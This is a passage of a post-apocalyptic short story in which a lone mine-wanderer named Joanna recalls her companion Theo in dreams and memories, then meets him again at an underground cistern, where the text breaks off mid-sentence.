the computer for you; it’s to accomplish a specific task. Everything between the request and the result, at least in theory, should be invisible to the user. This is the concept of a thin client taken to the absolute extreme: it’s not just that you don’t need any local compute to get an answer from a chatbot; you don’t need any local compute to accomplish real work. The AI on the server does it all. Of course most agentic workflows that work tread a golden path, but stumble with more complex situations or edge cases. That, though, is changing rapidly, as models become better and the capabilities of the chips running them increase, particularly in terms of memory. When it comes to inference, memory isn’t just important for holding the model weights, but also retaining context about the task at hand. To date most of the memory that matters has been high-bandwidth memory attached to the GPUs, but future architectures will offload context to flash storage . At the same time, managing agents is best suited to CPUs , which themselves need large amounts of DRAM. In short, both the amount of compute we have, and the capability of that compute, still isn’t good enough; once it crosses that threshold, though, demand will only get that much stronger. This combination of factors will only accentuate the dominance of the thin client paradigm: Yes, you can run large language models locally, but you are limited in the size of the model, the size of the context window, and speed. Meanwhile, the superior models with superior context windows and faster speeds don’t require a trip to the computer lab; just connect to the Internet from anywhere. Note that this reality applies even to incredible new local tools like OpenClaw: OpenClaw is an orchestration layer that runs locally, but the actual AI inference is, by default and in practice for most users, done by models in the cloud. To put it another way, to be competitive, local inference would need some combination of smaller-yet-sufficiently-capable models, a breakthrough in context management, and critically, lots and lots of memory. It’s that last one that might be the biggest problem of all. From Bloomberg : A growing procession of tech industry leaders including Elon Musk and Tim Cook are warning about a global crisis in the making: A shortage of memory chips is beginning to hammer profits, derail corporate plans and inflate price tags on everything from laptops and smartphones to automobiles and data centers — and the crunch is only going to get worse… Sony Group Corp. is now considering pushing back the debut of its next PlayStation console to 2028 or even 2029, according to people familiar with the company’s thinking. That would be a major upset to a carefully orchestrated strategy to sustain user engagement between hardware generations. Close rival Nintendo Co., which contributed to the surplus demand in 2025 after its new Switch 2 console drove storage card purchases, is also contemplating raising the price of that device in 2026, people familiar with its plans said. Sony and Nintendo representatives didn’t respond to requests for comment. A manager at a laptop maker said Samsung Electronics has recently begun reviewing its memory supply contracts every quarter or so, versus generally on an annual basis. Chinese smartphone makers including Xiaomi Corp., Oppo and Shenzhen Transsion Holdings Co. are trimming shipment targets for 2026, with Oppo cutting its forecast by as much as 20%, Chinese media outlet Jiemian reported. The companies did not respond to requests for comment. The memory shortage has been looming for a while, and is arguably the place where consumers will truly feel the impact of AI; I wrote in January in the context of Nvidia’s keynote at CES: CES stands for “Consumer Electronics Show”, and while Nvidia’s gaming GPUs received some updates, they weren’t a part of [Nvidia CEO Jensen] Huang’s keynote, which was focused on that Vera Rubin AI system and self-driving cars. In other words, there wasn’t really anything for the consumer, despite the location, because AI took center stage. This is fine as far as Nvidia goes: both the Vera Rubin announcement and its new Alpamayo self-driving system are big deals. It is, however, symbolic of the impact AI is having on technology broadly, and that impact is set to impact consumer electronics in a major way. Specifically, not only is all of the energy and investment in the tech sector going towards AI, but so is the supply chain. A big story over the last few months has been the dramatically escalating cost of memory as the major memory manufacturers shift their focus to high-bandwidth memory for AI chips in particular. What that means is that everything else is going to get a lot more expensive: memory is one of the most expensive components in nearly everything tech-related, and given the competitive and commoditized nature of the industry those costs will almost certainly be passed on to the end users. This AI crowd-out dynamic arguably started with the hyperscalers, who diverted ever increasing parts of their budget to GPUs in place of CPU purchases, but now it’s coming for everything from grid power to turbines and now to components, and it’s only going to increase and become more impactful to end users. In other words, Nvidia may not have talked about consumer electronics at the Consumer Electronics Show, but they are having the biggest impact on the industry by far. The downsides of this crowd-out effect are obvious; I pity anyone trying to build their own PC, for example, but soon their pain will be everyone’s pain as prices inevitably rise on everything that needs RAM. At the same time, I think the reported PlayStation delay is telling: apparently the PS5 is “good enough” for Sony to wait for more memory capacity to come online, and they’re probably right! Thick clients — of which consoles like the PS5 are the ultimate example — have long since reached the point of diminishing returns when it comes to hardware improvements. I think you could make the same case for PCs and phones as well: what we already have is already more than sufficient for almost any task we want to do. Moreover, the plateau in thick client capability is happening at the same time that the need for any capability at all is disappearing, thanks to these entirely new AI workflows that happen in the cloud. Yes, it sucks that AI is making memory scarce and personal computers of all kinds — from PCs to phones to consoles — more expensive; it’s also making them less important than ever. Of course thick clients could make a comeback, particularly since local inference is “free” (i.e. the user pays for their own electricity). As I noted above, however, I’m skeptical about local inference in the near term for performance reasons, and the memory crunch is going to make it uneconomical for the foreseeable future. And, by the time local inference is a viable alternative, path dependency downstream of these few years may have already led to many workflows moving to this new paradigm. It will, to be clear, be a transition: UI isn’t just about how to use a computer, it also, as Benedict Evans noted on a recent Interview , embeds critical aspects of how a business works. Open-ended text prompts in particular are a terrible replacement for a well-considered UI button that both prompts the right action and ensures the right thing happens. That’s why it’s the agent space that will be the one to watch: what workflows will transition from UI to AI, and thus from a thick client architecture to a thin one? Current workflows are TBD; future workflows seem inevitable. First, if compute isn’t yet good enough, then workloads will flow to wherever compute is the best, which is going to be in large data centers. Second, if larger models and more context makes for better results, then workloads will flow to wherever there is the most memory available. Third, the expense of furnishing this level of compute means that it will be far more economical to share the cost of that compute amongst millions of users; guaranteeing high utilization and maximizing leverage on your up-front costs.

0 views
iDiallo 1 weeks ago

Programming is free

A college student on his spring break contacted me for a meeting. At the time, I had my own startup and was navigating the world of startup school with Y Combinator and the publicity from TechCrunch. This student wanted to meet with me to gain insight on the project he was working on. We met in a cafe, and he went straight to business. He opened his MacBook Pro, and I glimpsed at the website he and his partner had created. It was a marketplace for college students. You could sell your items to other students in your dorm. I figured this was a real problem he'd experienced and wanted to solve. But after his presentation, I only had one question in mind, about something he had casually dropped into his pitch without missing a beat. He was paying $200 a month for a website with little to no functionality. To add to it, the website was slow. In fact, it was so slow that he reassured me the performance problems should disappear once they upgraded to the next tier. Let's back up for a minute. When I was getting started, I bought a laptop for $60. A defective PowerBook G4 that was destined for the landfill. I downloaded BBEdit, installed MAMP, and in little to no time I had clients on Craigslist. That laptop paid for itself at least 500 times over. Then a friend gave me her old laptop, a Dell Inspiron e1505. That one paved the way to a professional career that landed me jobs in Fortune 10 companies. I owe it all not only to the cheap devices I used to propel my career and make a living, but also to the free tools that were available. My IDE was Vim. My language was PHP, a language that ran on almost every server for the price of a shared hosting plan that cost less than a pizza. My cloud was a folder on that server. My AI pair programmer was a search engine and a hope that someone, somewhere, had the same problem I did and had posted the solution on a forum. The only barrier to entry was the desire to learn. Fast forward to today, every beginner is buying equipment that can simulate the universe. Before they start their first line of code, they have subscriptions to multiple paid services. It's not because the free tools have vanished, but because the entire narrative around how to get started is now dominated by paid tools and a new kind of gatekeeper: the influencer. When you get started with programming today, the question is "which tool do I need to buy?" The simple LAMP stack (Linux, Apache, MySQL, PHP) that launched my career and that of thousands of developers is now considered quaint. Now, beginners start with AWS. Some get the certification before they write a single line of code. Every class and bootcamp sells them on the cloud. It's AWS, it's Vercel, it's a dozen other platforms with complex pricing models designed for scale, not for someone building their first "Hello, World!" app. Want to build something modern? You'll need an API key for this service, a paid tier for that database, and a hosting plan that charges by the request. Even the code editor, once a simple download, is now often a SaaS product with a subscription. Are you going to use an IDE without an AI assistant? Are you a dinosaur? To be a productive programmer, you need a subscription to an AI. It may be a fruitless attempt, but I'll say it anyway. You don't need any paid tools to start learning programming and building your first side project. You never did. The free tools are still there. Git, VS Code (which is still free and excellent!), Python, JavaScript, Node.js, a million static site generators. They are all still completely, utterly free. New developers are not gravitating towards paid tools by accident. Other than code bootcamps selling them on the idea, the main culprit is their medium of learning. The attention economy. As a beginner, you're probably lost. When I was lost, I read documentation until my eyes bled. It was slow, frustrating, and boring. But it was active. I was engaging with the code, wrestling with it line by line. Today, when a learner is lost, they go to YouTube. A question I am often asked is: Do you know [YouTuber Name]? He makes some pretty good videos. And they're right. The YouTuber is great. They're charismatic, they break down complex topics, and they make it look easy. In between, they promote Hostinger or whichever paid tool is sponsoring them today. But the medium is the message, and the message of YouTube is passive consumption . You watch, you nod along, you feel like you're learning. And then the video ends. An algorithm, designed to keep you watching, instantly serves you the next shiny tutorial . You click. You watch. You never actually practice. Now instead of just paying money for the recommended tool, you are also paying an invisible cost. You are paying with your time and your focus. You're trading the deep, frustrating, but essential work of building for the shallow, easy dopamine hit of watching someone else build. The influencer's goal is to keep you watching. The platform's goal is to keep you scrolling. Your goal should be to stop watching and start typing. These goals are at odds. I told that student he was paying a high cost for his hobby project. A website with a dozen products and images shouldn't cost more than a $30 Shopify subscription. If you feel more daring and want to do the work yourself, a $5 VPS is a good start. You can install MySQL, Rails, Postgres, PHP, Python, Node, or whatever you want on your server. If your project gains popularity, scaling it wouldn't be too bad. If it fails, the financial cost is a drop in a bucket. His story stuck with me because it wasn't unique. It's the default path now: spend first, learn second. But it doesn't have to be. You don't need an AI subscription. You don't need a YouTuber. You need a text editor (free), a language runtime (free), and a problem you want to solve. You need to get bored enough to open a terminal and start tinkering. The greatest gift you can give yourself as a new programmer isn't a $20/month AI tool or a library of tutorial playlists. It's the willingness to stare at a blinking cursor and a cryptic error message until you figure it out yourself. Remember, my $60 defective laptop launched a career. That student's $200/month website taught him to wait for someone else to fix his problems. The only difference between us was our approach. The tools for learning are, and have always been, free. Don't let anyone convince you otherwise.

0 views
Brain Baking 2 weeks ago

Why Parenting Is Similar To JavaScript Development

Here’s a crazy thought: to me, parenting feels very similar to programming in JavaScript. The more I think about it, the more convinced I am. If you’re an old fart that’s been coding stuff in JavaScript since its inception, you’ll undoubtedly be familiar with Douglas Crockford’s bibles , or to be more precise, that one tiny booklet from 2008 JavaScript: The Good Parts . That book covered by a cute O’Reilly butterfly is only 172 pages long. Contrast that with any tome attempting to do a “definitive guide”, like David Flanagan’s, which is 1093 pages thick. Ergo, one starts thinking: only of Javascript is inherently good . And that was 18 years ago. Since then, the EcmaScript standard threw new stuff on top in a steady yearly fashion, giving us weird and wonderful things (Promise chaining! Constants that aren’t constants! Private members with that look weirder than ! Nullish coalescing?? Bigger integers!) that arguably can be called syntactic sugar to try and disguise the bitter taste that is released slowly but surely if you chew on JS code long enough. If that’s not confusing enough, the JS ecosystem has evolved enormously as well: we now have 20+ languages built on top of JS that compile/transpile to it. We have TypeScript that has its own keyword that has nothing to do with , go nuts! We have ClojureScript that lets you write your React Native components in Clojure that compiles to JS that compiles to Java with Expo that compiles your app! We have and and and god-knows-what-else that replaces and possibly also ? At this point, I’m starting to transpile JS into transpiration. Parenting often feels like Javascript: The Good Parts versus JavaScript: The Definitive Guide . With our two very young children, there are many, many (oh so many) moments where we feel like we’re stumbling around in the dark, getting lost in that thick tome that dictates the things that we should be doing. When the eldest has yet another I’ll-just-throw-myself-on-the-floor-here moment and the youngest keeps on puking and yelling because he just discovered rolling on his tummy, I forget The Good Parts . To be perfectly frank, in those moments, I often wonder if Crockford had been lying to us. Are there even any good parts at all? We all know JS was cobbled together overnight because Netscape needed “some” language to make static languages a bit more dynamic. A language for the masses! What a monster it has become—in both positive and negative sense. It often feels like Wouter doesn’t exist anymore. Instead, there’s only daddy. It has been months since I last touched a book, notebook, or fountain pen. It has been months since my wife & I did something together to strengthen our relationship which currently is being reduced to snapping at each other because we’re still not perfectly synced when it comes to educational rules. Perhaps just writing and publishing this is reassurance for myself: proof of existence. Hi! This is not a bot! JavaScript is a big mess. Parenting feels like that as well. The ecosystem around JS rapidly changes and only the keenest frontend developer is able to keep up. I have no idea how to keep up with parenting. During our day-to-day struggles, you barely notice that the kids are growing and changing, but when you look back, you’re suddenly surprised yet another milestone has passed. Is that part of the Good Parts or the Bad Parts ? Maybe Flanagan’s Definitive Guide should be used to smack people on the head that do not obey to the latest EcmaScript standard best practices. I often have the feeling of getting smacked on the head when trying to deal with yet another kid emergency situation. I’m exhausted. Last week I yelled so hard at our eldest that she and I both started crying—she on the outside, me on the inside. I have no idea who I am anymore. I’m not like that. But it seems that I am. Our children successfully managed to bring out the worst in ourselves, even parts that I didn’t even know where there. I’ll let you be the judge of whether that bit belongs in the Good Parts . Yet I love JS. I love its dynamic duck type system (fuck TypeScript), I love its functional , , roots, I love prototypal inheritance. But I often forget about it because it’s buried in all that contemporary mud. Of course I love my children, but right now, I can’t say that I love parenting, because it’s buried in all that attention demanding and shouting that reduces our energy meters to zero in just a few minutes. My wife made a thoughtful remark the other day: We’re no longer living. At this point, we’re merely surviving. Every single day. As I write this, it’s almost 17:30 PM. The kids spent the day at my parents so I don’t even have the right to complain. Every minute now, they can come back and the bomb will explode again. There’s a little voice in my head that says “just get to the cooking, get them to eat and shove them in bed. Only an hour and a half left.” I don’t know if that’s sad or not. I need to get cooking. Only an hour and a half left. Don’t blame me, I no longer live. We’re merely surviving. If someone manages to write Parenting: The Good Parts in only 172 pages, let me know. Related topics: / javascript / parenting / By Wouter Groeneveld on 13 February 2026.  Reply via email .

0 views
Brain Baking 3 weeks ago

Creating Buttons To Remember Things

My wife recently bought a device to scratch her creative crafting itch: a button press . At first, I dismissed it as yet another thing requiring space in her increasingly messy atelier. I don’t know how we manage to do it but we seem to be experts in gathering things that gather things themselves: dust. But now that she finally started doing something with it, I was secretly becoming interested in what it could mean for our scrapbook making. The button press in question is a “We R Makers Button Press Bundle All-In-One Kit” that comes with press, a few add-on peripherals that allow you to modify how it cuts and presses, and of course the buttons themselves. The button press in action, about to create a 'little monster'. Since handling the lever requires a bit of pressure to correctly cut and a second time fit the cut circle inside the button, I yelled TSJAKKA every time she would press it, to great joy of our daughter. She now calls it the Tsjakka . “Daddy, can we make another little monster with Tjsakka?” Because my first instinct after thinking about what kind of buttons I wanted was to print a variant of the Alien Lisp Mascot —a green monster with five eyes. Fellow nerds reading this might have covered their entire laptop back with cool looking stickers: a Docker container sticker, an IDEA logo one, the GitHub Octocat, and god knows what else you managed to nab from a conference table. While I always found those laptops to be just cute, I never wanted to soil mine with a sticker of some technology stack that I would grow to hate a few years later. Thanks to a random takeover by Microsoft sharks, for instance. *cough* Give Up Github *cough*. So why not a programming language mascot? Java’s The Duke? No way, I’m not that big of a Java fan. The Gopher perhaps? Better, but no. If I was to wear a badge, smack on a sticker somewhere prominent, it would have to be of something that makes me happy. Go is cool but boring. Java brings in a lot of money but smells like enterprise mud. So far, I haven’t encountered a single programming language that truly makes me happy. But Lisp is coming very close. The Lisp Alien it is, then: The result: three buttons pinned to the inside of my bike bag. One of the other two buttons is self-explanatory: the Brain Baking logo. The first one on the upper left is a part of my late father-in-law’s master’s thesis; an electronic schematic with resistors. The embossed logo on the button press, below the We R name, reads: Memory Keepers. Which is exactly what that button is for. They market it as a way to permanently record precious memories—and wear them on your sleeve . I think it’s brilliant. We don’t have an endless supply of metal clips and plastic caps to press that memory in so we have to be mindful: which one’s do we really want to create? Sure you can buy more and it’s not expensive, but that’s not the point. The point is that there won’t be a Duke on my bag, but there will be a Brain Baking logo. And, apparently, a warning. Most folks pin these buttons onto the obvious visible part of their bag. But I don’t want to come across as a button lunatic (at least not at first sight). A more convincing argument then: the bag I pinned it on is a simple detachable laptop cycle bag . The exterior gets wet now and then. I highly doubt that the button is water resistant. The third but slightly less convincing argument is that the buttons rattle quite a bit as the needle on the back used to pin it onto something sits quite loose in its metal socket. Perhaps that depends from product type to type. As you might have guessed, our daughter now is dead set on pinning a little monster on her bag she uses carry her lunch go to school. We’ll first have to ask Tjsakka to get back to work. Related topics: / crafting / By Wouter Groeneveld on 7 February 2026.  Reply via email .

0 views
Weakty 4 weeks ago

Lights of the cistern

Pid, pid, pad, pit, pad . In the dark went the sound of the cup. Pid, pid, pat, pad, pit, tup, tip, tap There went the cup, bumping into the bag. Rid, tid, pid, tid, pad, bump . shhhhap , went the bag, adjusted on Joanna's shoulders. She pulled it up, levitated by her thumbs alone and, thmp , dropped it back onto herself. Thp went the cup, clipped to the bag. In the mine, as in every mine, there is a minimum requisite echo; these sounds swirled behind her as she walked until they dropped to the ground like litter. Some sounds traversed ahead of her, like a light making way for her. They never came back. Never told her what way to actually go. tid, pid, pat . goes the sound of the small, dented cup of hers, hanging, forever rebounding off her pack, more audible than her own footsteps. By now, with all the time in and out of the mines, Joanna never noticed the sound of the cup, much less the other noises her or her gear might make. At the beginning, there was concern that it might betray her presence to unwelcome ears, but she had long ago dropped that fear. People were few and far between. Even more so, in the mines. Her last contact had been in spring. It was summer now. Her favourite time to be in the mines. Temperature perfect, she adored the darkness against the long days of summer overhead and out of sight, and of course, the sounds that her little tin cup made as she walked on, through the summer mine-air. tip, pid, pad, thp, baht . She came to a fork in the mine and looked at the two descending tunnels. No signage that she could discern, as usual. A cool draft coming from the path on the right and no sense of smell, wind or anything else from the left. She mostly walked in the dark. It was something she was so accustomed to that revealing any source of light in a place like this not only felt wasteful, but cruel to the space, to her eyes. She stood still in her silence and considered her choices. With no decision revealing itself (like it sometimes did), she made up her mind. Went the match. And the light of it exploded into the darkness. At junctures like this, though, some light, garish as it was, was worth it. Joanna walked closer to the wooden scaffolding bordering the two tunnels and slid her fingers along it gently. Her eyes traced the blinding light of her single match. There were no signs that carts had been employed in either of the tunnels, but she couldn't be sure of that from the entry alone. She saw no signs of tracks or other infrastructure. These were likely walking mines. They could be connected, circling an underground lake. They could both surface to the above world. They could squirrel off in completely different directions. Anything was possible. Standing back now and eyeing both, Joanna knew the left was the correct choice. Despite the draft, which was always compelling in its promise of movement and circulation, she knew the path to the right would not work. The movement of air usually promised a path out, back up, to the world. That was not in the plan. She stared to the right, as if she could see the patterns of the air itself. She willed it to come meet her and sure enough it did: with an invisible snap, it struck down her light. If there was a sound for a match being blown out by a dark wind, that would be it. But there isn't, and instead this is what Joanna imagines, now back in the comfortable darkness, her decision made for her. Joanna walked the left tunnel for several hours before she decided it was time to stop. Her trek remained uneventful, yielding nothing right up until she set down her pack and made camp. Now she sat, cross-legged and eyes closed. She took several deep breaths, not waiting or wanting for anything, but a breath to take and release. Here, she felt the ground under her bottom. It was cooler than earlier in the day. This confirmed her suspicion that she had been walking on a nearly unnoticed decline. Joanna's body was adept at noticing the barely noticeable. She felt the decline in every part of her foot. She could perceive sensory information from each toe, her heels, her soles. Tiny muscles taut, balanced perceptively, always feeling out the rope of her path: tightrope-walker of darkness. There was no need to set up a tent in the mines, other than to provide some semblance of psychological safety. Some measure of inside in contrast to that outer world. At this point, the darkness was the same everywhere. The only time she would set up a tent in a mine was if harmful particulate was migrating from one part of the mine to the other. Of course, sometimes it felt cozy just to set up the tent for tent's sake, but like most days, it wasn't worth the effort. She unrolled her sleeping mat, grabbed her quilt and lay in the darkness. Did she even have to close her eyes to sleep, dark as it was? Yes, it sent the signal to her body that it was time to rest, but as far as she (or the darkness) was concerned, she may as well lie wide-eyed through the night. Joanna snuggled under her quilt and kicked her feet together a few times. With this movement, the thrill of sleep always rattled up through her body to the top of her head (and, surely, then went rattling off into the depths of the mine in search of other life to lay its sleepy hands upon). The movement was a signal to say the day was over—her feet could rest. They were now free of their duty of carrying her and her pack along, along, along. Joanna closed her eyes. She thought about the right tunnel, and the subtle draft that had emanated from deep within it. Then, she fell asleep. "Joanna, catch!" yelled Theo. He lobbed the fizzing rock high into the sky, its geometry flashing as it rotated under the blinding sun. Joanna took a couple steps back and received it in her arms with a soft thump . She swore she could feel the warmth of the rock right through her wool sweater. Her fingers warmed up immediately as she turned the rock in her hands. Simultaneously brilliant and modest flashes of yellow, white, even blue. The rock was a snake, hissing loudly, ready to strike, in her hands. "Now, now!" she heard Theo yell. Joanna squatted down, deftly swung the rock between her legs, and then launched it as high as she could. The rock sailed back into the air, the fizzing, hissing sound of it receding into a vibrant, blue sky. Reaching its zenith, and about to fall, it exploded into thousands of pieces and rained down on them. Joanna and Theo watched in silence as the puff of smoke, timeless particulate, dispersed high above them. Dust and smaller rock particles rained down on them, the larger pieces glittering in the same way as the rock in its whole form. "Well done!" Theo laughed. He walked over to her, crunching on some of the debris. "Want to do another?" Joanna listened to the sound of his steps and looked at him. She said nothing, then smiled, turned around, and started walking toward her gear. She picked it up and continued. There was still a certain warmth on her hands, maybe even in her stomach, where she had held the rock for that moment. It would be cold in the Wastes and there would be no such sources to heat them come nightfall. In the distance: a hazy line of a dead forest ahead, some five or six kilometres. Theo started after, quickly picking up his gear. He watched her as he threw his sack over his shoulder and shoved his boots on. Her head turned over her shoulder as if to say something, but no words came out. She simply moved: onward. Joanna woke up. She propped herself up on her locked arms. Another dream with Theo in it. She sighed into the darkness of the mine. A dream, or maybe a memory. When she was in the mines, it was never really clear: memories and dreams became intermingled. You became a different person when you were in the mines. Your history disappeared. Your dreams blossomed. One could just as well be the other. Either way, she was alone. There was no Theo. Joanna packed up quickly and continued walking. As usual, she was in absolute darkness. The path into the mine was well-trod and caused no need for concern. She wouldn’t trip over anything. Thp, Tip, Bip, Thp went the cup. Joanna fell into a reverie, walking, listening to her little cup bopping along against her rucksack. Her feet told her when the path curved, and she would reach out with her hands, fingers glancing off the curving tunnel of the mine as it descended deeper into the earth. Walking in the dark could just as well be sleeping and dreaming. Her thoughts returned to her dream. It had been a pleasant one—to see Theo again—to be near his liveliness. Playing hot potato with Hollow Rocks. When she looked at life, it seemed like the insides of most everything had been carved out, including rocks. It was like Theo to find a way to blow things up and have a good time of it. Joanna continued walking, wondering where he was now. They had met in the Spring, in Eris, a growing collective, a fledgling little anarchist town. But then again, every town across the Wastes was a fledgling anarchist town. Too small for power to be drained from the communal pool into the hands and homes of a select few. Still, their governance was strange. They had sought help from outsiders in digging a well and looking for underground resources—which, Joanna felt, was her specialty. But helping out only meant having a bed and a meal. The people who called their little group "Eris" were reluctant to welcome stragglers into the group without them putting in a certain amount of dues . Joanna and Theo had met there serendipitously, her coming from the south after an extended stretch in the Loest Mines—about a month she had guessed—and Theo coming from a mine in the East. Neither had expected to stay long in Eris, but they had found each other, both mine-wanderers that they were, and had connected at the communal meal. Joanna stopped and placed a hand on the mine wall. It was refreshingly cool, not that she was overheating. She stood for a moment in the darkness, straining her ears and eyes. Had there been a sound, a moment of light, just then? Or had she been conflating her memories with the present moment? With the accumulated time that she had spent underground in utter darkness, Joanna had developed a vivid mind’s eye: dreams came to life, memories could be pulled up, aired out, inspected, folded neatly, held up to a light that existed inside her. In the stillness, she realized she had fallen for the liveliness of a memory. Most of the time that’s what it was. But she wouldn’t—couldn’t— let herself cry wolf on her memories when there could well be a real danger in the mine. And yet, as days and weeks went by, the solitude of being in a mine lengthened out like an infinite thread woven underneath the Wastes. She didn’t have to search the cabinets of her memories to know that she had never encountered anyone, any living thing down in the mines; it was an embedded reality. The scattered populations of earth were only driven into such dark places out of necessity: to scavenge some crucial tech-waste, to find water, or, more bleakly, in seeking an infinite blackness they could no longer run from: death. It was true, she had come across the dead in the mines. Some had thrown themselves down mine shafts, others had wandered deep in the mines until they could walk no further. Joanna shuddered. She was no stranger to such bleak realities, but losing her empathy was a far greater fear than an encounter with the Lifeless. So she intentionally practiced letting such tremors of sadness and despair ripple through her. Occasionally. "We could work together," Theo said. "They aren’t going to find water in that sad attempt of a well, and we both know there will be some in Cambor." "To what end?" Joanna responded. He didn’t respond. They were perched like vultures in the Eris Tree —a magnificent tree, stripped and dead, marking the center of Eris. Joanna looked over at him, up one branch from her, lying on his stomach, his limbs dangling on either side of the large branch. And while he looked uncomfortable, he lay there with his eyes closed looking peaceful. "If you fall asleep and fall out of this tree, I’m not going to catch you," Joanna said, waving her arm at him from her branch to show the distance between them. "Even if you were on my branch, I wouldn’t expect you to," Theo replied with his eyes closed. He still hadn’t answered her question. Work together to go to Cambor, map their way to some kind of water source, return and what—become members of this little town? Get roped into leading a construction crew into the Cambor mines to establish a primitive aqueduct? Joanna shifted her weight on her branch uneasily and huffed. Theo was under no obligation to explain himself or make his intentions known. That wasn’t the kind of world they lived in. Or maybe he just didn’t feel like saying more in the proximity of others—there were a few people in the tree and some walking idly by. Joanna surveyed Eris in its shambling infancy. One or two people eyed her warily in return. Any burgeoning community would be wise to be suspicious of newcomers; they were only just learning to trust one another. She turned to say something to Theo and he was, most certainly, asleep. Joanna walked beside this memory, hearing Theo’s voice clear as day. Remembering him draped over the tree branch. It was almost as if she was still with him—that she had agreed to his proposition. A proposition with as yet unexplained intentions. She couldn’t help her wariness. That was something that built up over time. But so too did a certain kind of loneliness. Previously, Joanna may have subconsciously told herself that this sort of living memory she walked with was enough company here in the dark. Deep down, she knew this was not true. But she kept walking. Several days passed of the same sort. All the while, Joanna steadily descended deeper underground. She had been in the Cambor mines for eleven "days" at this point. A "day" was marked by an internal rhythm she had developed from walking mines in the dark. For all she knew, she could be walking through the night above ground, and sleeping during the day, but she was still following roughly a 16-hour day to 8-hour sleep schedule. After every sleep, Joanna placed a small pebble in her left pocket to mark another day. She fingered her pocket full of tiny pebbles now, probing from stone to stone, as if she could remember the day each pebble represented. There had been times when her pocket had grown heavy with the number of days it had accumulated. Her longest stretch in a mine had been forty-one days. Joanna was still undecided on what was a healthy amount of time away from the surface of the planet. It probably wasn’t doing her any good to be in the dark so long—messing with her circadian rhythms, depriving her of the warmth of sunlight and so on. But being underground was sometimes the safest place to be. She didn’t understand why more people didn’t do it—the surface of earth wasn’t inhospitable. Yes, it was barren, but more in a soul-crushing, apathetic way. At least in Ri. Entire cities destroyed by earthquakes and floods of the subaquatic bombs. There were surely other cities unaffected outside of Ri, but they were as unknown to her as the moon. The world had become smaller, closer, more immediate, when everything had gotten turned upside down. But she supposed that maybe fear kept people out of the mines. They only entered out of necessity. This is what the people of Eris had wanted—what Theo had offered to help her do. And she had declined. And here she was in the dark, doing it anyway. She had effectively declined to help the town. Joanna wondered what her real motivations were. She often felt she was operating like a wind-up toy—something charged her up and she went off to do her task without really having a purpose behind that. She had left Eris in the middle of the night to depart without being seen. The people had asked her twice to help, to build the well, and she had given them a non-answer. Then she slipped away, evading them, evading Theo. Not a good character trait, Joanna thought. The world was full of characters and their not-so-good-traits. Joanna didn’t feel particularly bad. In many ways, today’s world was freer, albeit far, far more dangerous. There was the implicit understanding of survivorship and any pretences, all masks, had evaporated during the collapse. Joanna continued walking, chewing on the changes she was seeing in her lifetime. A lifetime with a far shorter life expectancy, too, she thought to herself. Before she could contemplate how many more steps she would have on this earth, she noticed a change in the air—water was close. She stopped on the path and listened. There was little chance she would run into anyone down here. But being careful only cost a little time, a little energy. She listened intently. At first, with her eyes closed, she heard nothing. Then, a slow swell, nearly inaudible. There was a white noise in the distance. The sound grew louder. It was the sound of waves. Then, a blinding light. She staggered backward, the sound of her footsteps lost in the swell. She opened her eyes to a dazzling sun, a cerulean sky, and crashing green and indigo waves on a beach. People were running up and down the sand, some diving headfirst into the water. A few stray boats drifted up and down the coast. An image from another time. Joanna opened her eyes again—really opened her eyes, uninhibited, untricked by an illustrious memory. She was still in the mine. But there was a sound: footsteps, approaching. It was Theo, in the dark. "A little farther this way. The water is here." They walked in silence. Joanna let her thoughts swirl in her head. Days in the darkness, days of silence and not speaking—it all made it harder to speak up now. And the surprise—what was he doing down here? How long had he been down here? How did he get here before me? Joanna had left Eris in the middle of the night. Theo had still been there when she left. Theo didn’t seem to mind the silence. He probably even expected it. He must have been down here long enough to experience that same binding spell that makes it difficult to speak. His voice had certainly croaked when it had spoken. A little farther this way. The water is here. So they walked on for a few more minutes. Then, the sound of their steps began to widen and fan out with a subtle echo. Neither of them could see in the darkness, but Joanna knew the sound: the widening of a passage into a cistern. How could she describe it? It was like opening the door from the inside of a cluttered closet and stepping into an open field and a swelling blue sky. It was still dark, but the breadth of difference in the sound of their walking alone seemed to balloon up infinitely. Joanna stopped. Theo stopped a step ahead of her. He looked back at her. "It’s huge." In the dark he may have nodded, but didn’t say anything. "Do you have a light?" "Yes." "Here:" There was some rustling in a bag and Theo pulled something out, and held it toward her. She felt for it with her hands, fumbling, until she felt the lantern. Joanna nodded to herself. She felt for her matches and dug them out of her pocket and lit one. The light that sprang to life overwhelmed them in its furious charge into being. Neither Joanna nor Theo looked at one another. Both focused on the lantern between them: held at an arm’s length by Theo, Joanna close up to it to understand how it would open, unlatch, light, before her match went out, wasted. She quickly unlatched the window, found the wick and lit it. She fumbled around for the fuel release valve and couldn’t find it, touching gently but quickly, all surfaces of the lantern seeking a knob, a switch, a lever. Theo’s hand grazed hers, a foreign touch in the darkness of the mine, the darkness of a body that hadn’t had contact in some time. He moved his hand up and twisted a knob at the top of the lantern underneath the handle. The flame blossomed, doubling, tripling in size, until he readjusted it to a steady glow, a bit brighter than the now extinguished match. Joanna stepped back and breathed out a held breath. The flame had seemed huge for a moment, engulfing. The sun on a beach, the sound of crashing waves. She listened now. There was no sound of movement of water. They continued their walk in silence. Now, with the lantern, each footstep was lightened. Step by step. Soon the forbidding silence that had them cowering and hiding was lifted. "How did you get ahead of me?" "I took the right path." The right path! Joanna laughed to herself. What she had mistaken for a path leading up out of the mine—toward a clear blowing air—had been a ruse. A mistake. She had been fooled. Whatever it was, she had taken the long way, and her intuition had been wrong this time. "Wasn’t pretty," Theo said. Or perhaps, her intuition wasn’t wrong after all. "Dangerous?" Theo nodded, visible this time, by the light of the lantern. She watched the shadows dip and bounce back with the movement of his head. "Definitely not pretty." Not Pretty . He had said that phrase before, she remembered now. He had spoken that way in describing any number of changes that appeared after the floods that had wiped away the old world. "Do you see it?" He asked, changing the subject. He held out the lantern. She could make out the edge of the cistern. There was movement. What had once been a deep, underground blast-mine was now an underground lake. They continued their approach, and soon the lantern appeared as a ghostly reflection in the water—rippling." "How is the water moving?" "Beats me," Theo said. They got right up to the edge and stopped. The water was only a foot or two below the rock ledge where they stood. Joanna crouched and dipped first one hand, swirling the water, feeling the bounds of it move up her arm as she reached farther in, and then bringing both hands up to her mouth as a cup. She drank. "I would have had to turn back tomorrow if I hadn’t found this." "How long have you been down here?" "Eleven days. But you knew that didn’t you? How long have you been waiting for me?" "Four days." "The right tunnel was that much faster." A statement, not a question. "Yes. And that much more dangerous, too." "And you’ve just been camping down here?" "Yes. Finding ways to keep busy. I didn’t know how much longer I would stay." "Running low on food?" "A little," Theo admitted. "And matches." Theo and Joanna fell into another silence. The lantern burned between them, now set at their feet on the edge of the cistern. The flame stood steady, hardly flickering at 